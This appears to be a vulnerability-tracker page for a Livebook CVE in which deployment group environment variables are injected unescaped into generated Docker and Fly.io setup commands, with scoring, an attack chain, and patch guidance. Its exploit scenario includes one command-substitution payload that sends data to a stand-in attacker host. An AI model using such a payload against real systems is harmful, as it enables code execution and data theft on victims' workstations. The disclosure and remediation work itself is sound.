Skip to main content

Livebook CVE-2026-66297

| EUVDEUVD-2026-53601 MEDIUM
OS Command Injection (CWE-78)
2026-08-05 6b3ad84c-e1a6-4bf7-a703-f496b71e49db
4.9
CVSS 4.0 · Vendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Livebook Teams with high-privilege account
  2. Delivery
    Set malicious shell payload in deployment group env var
  3. Exploit
    Victim navigates to deployment group page
  4. Install
    Livebook generates unescaped Docker or Fly.io command
  5. C2
    Victim copies command from UI
  6. Execute
    Victim executes command in local shell
  7. Impact
    Injected code runs on victim's workstation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold privileges sufficient to write deployment group environment variables within a Livebook Teams hub - this is a High privilege level (PR:H in CVSS). The vulnerable code paths are docker_instructions/2 and fly_instructions/4 specifically; the Kubernetes instruction path is not affected. Execution of the injected payload is not automatic: a secondary user must navigate to the deployment group page, copy the generated setup command, and execute it in a shell on their machine without reviewing the environment variable values embedded in it. Active user interaction (UI:A) is therefore a hard prerequisite. The payload executes on the victim user's local machine, not on the Livebook server - no direct server-side code execution occurs. Exploitation is limited to Livebook versions 0.13.0-0.18.6 and 0.19.0-0.19.8 running the Teams hub feature with at least one deployment group configured.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:A/SC:H/SI:H/SA:H) accurately captures the asymmetric threat model: exploitation requires High privileges on the Livebook Teams instance to set deployment group environment variables, and then depends on Active user interaction - a secondary user must copy and run the generated command without reviewing it. There is no impact on the Livebook server itself (VC:N/VI:N/VA:N), but the subsequent system (the operator's workstation running the command) faces High confidentiality, integrity, and availability impact. The AT:P (attack timing: prerequisite) notation reflects that success depends on the victim's behavior. No KEV listing exists and no public exploit has been identified at time of analysis, so real-world risk is constrained primarily by the high privilege bar to inject the payload and the social engineering dependency for execution. EPSS data is not available in the provided intelligence; given the niche deployment footprint and multi-step exploitation path, real-world exploitation probability is judged low despite the high downstream impact. This is a genuine security issue but is not a mass-exploitation candidate - it is most relevant in multi-tenant or shared Livebook Teams environments where a malicious or compromised privileged user could target DevOps operators.

Exploit ScenarioDerived

A malicious or compromised Livebook Teams administrator sets a deployment group environment variable to a value containing a shell command substitution such as MY_VAR=$(curl http://attacker.example/exfil?d=$(whoami)). When a DevOps engineer visits the deployment group page, Livebook generates Docker run instructions interpolating this value into a double-quoted shell word without escaping, and displays the command with a prominent copy button. The engineer copies the command and pastes it into their terminal, causing the injected command to execute on their workstation under their own account. No public exploit code has been identified at time of analysis, but the injection technique requires no special tooling beyond setting a malicious environment variable value.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 1.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Remote command injection in livebook-dev Livebook's deployment setup command generator allows an authenticated high-privilege attacker to poison Docker and Fly.io setup commands displayed in the web interface, causing arbitrary shell code to execute on the machine of any user who copies and runs the generated command. Affected versions span 0.13.0 through 0.18.6 and 0.19.0 through 0.19.8. No public exploit has been identified at time of analysis, though the CVSS 4.0 score of 4.9 reflects the high privileges required and the indirect execution path through a secondary user's action.

RemediationAI

Upgrade Livebook to version 0.18.7 or 0.19.9, both of which include the upstream fix. The patch, available via three commits (0c24873, b2a8416, f8fe9c6) and detailed in GHSA-qpjc-w5mm-73mj at https://github.com/livebook-dev/livebook/security/advisories/GHSA-qpjc-w5mm-73mj, introduces shell_quote wrapping for Docker and Fly.io environment variable interpolation in the new Livebook.Teams.DeploymentGroupInstructions module, and adds escape_dockerfile_value/1 to properly escape backslashes and double quotes in Dockerfile ENV lines. If immediate upgrade is not possible, the most effective compensating control is to restrict who can set deployment group environment variables to fully trusted users only, eliminating the attacker's injection point. As a secondary control, instruct all operators to review generated setup commands before executing them, particularly scrutinizing environment variable values for unexpected shell constructs such as $(...) or backticks. There are no known side effects from the patch - only the escaping behavior changes, not the functional output of correctly formed environment variable values.

Affected VersionsENISA

livebook 0.19.0 <0.19.9
livebook 7cf4af5c10ec645f55a10f30e5661c54f6a6b319 <*
livebook 0.13.0 <0.18.7
livebook 0.13.0-cuda12 <0.18.7-cuda12
livebook 0.19.0-cuda12 <0.19.9-cuda12

Affected Packages

euvd livebook fix: 0.18.7-cuda12, 0.18.7, 0.19.9-cuda12, 0.19.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Livebook is an Elixir-based interactive notebook platform with a Teams product that supports deploying app servers via Docker and Fly.io. The vulnerable code resides in LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent (lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex), specifically the docker_instructions/2 and fly_instructions/4 functions, which call Livebook.Hubs.Dockerfile.online_docker_info/3 to build setup commands. Environment variable key-value pairs sourced from the deployment group configuration are interpolated into double-quoted shell words without shell escaping, violating the expectation that double-quoting in POSIX shells prevents command substitution. CWE-78 (OS Command Injection) applies because user-controlled data reaches a shell command sink without sanitization. The root cause is that $(...) command substitutions and backtick expressions are evaluated by the shell even inside double-quoted strings, and an unescaped literal double quote breaks out of the quoting context entirely. The Kubernetes instruction path is NOT affected because it renders the same values into a YAML manifest with proper escaping. CPE: cpe:2.3:a:livebook-dev:livebook:*:*:*:*:*:*:*:* from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9.

Know when Livebook gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db) PRIMARY 4.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
vuln.today AI 8.4 HIGH

PR:H for required env-var write privileges, UI:R for victim execution, S:C because impact lands on the victim's machine rather than the Livebook server.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Primary rating from Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db).

CVSS VectorVendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
Patch available
Aug 05, 2026 - 21:03 EUVD

DescriptionCVE.org

Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability in livebook-dev livebook allows command injection into generated deployment setup commands.

LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.docker_instructions/2 and LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.fly_instructions/4 in lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex interpolate deployment group environment variable values into the generated Docker and Fly.io setup commands without shell escaping. The values originate from the deployment group configuration and reach the sinks through Livebook.Hubs.Dockerfile.online_docker_info/3.

Both sinks place the value inside a double-quoted shell word, so a value containing a command substitution such as $(...) or backticks is evaluated by the shell without any need to break out of the quoting, and a literal double quote terminates the quoted word and allows arbitrary further tokens. The generated command is displayed in the Livebook web interface with a copy button, so a user who copies it and runs it without reviewing it first executes the injected commands on their own machine, under their own account.

An attacker requires privileges sufficient to set deployment group environment variables, while the resulting code execution occurs on the machine of whoever runs the generated command. The Kubernetes instructions are not affected, because they render the same values into a YAML manifest with escaping rather than into a shell command.

This issue affects livebook: from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9.

Threat Intelligence Overview

EPSS Score
1.3%
Top 32% exploitable
Prevalence
Low
niche Elixir-ecosystem notebook tool, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 1.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

25
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy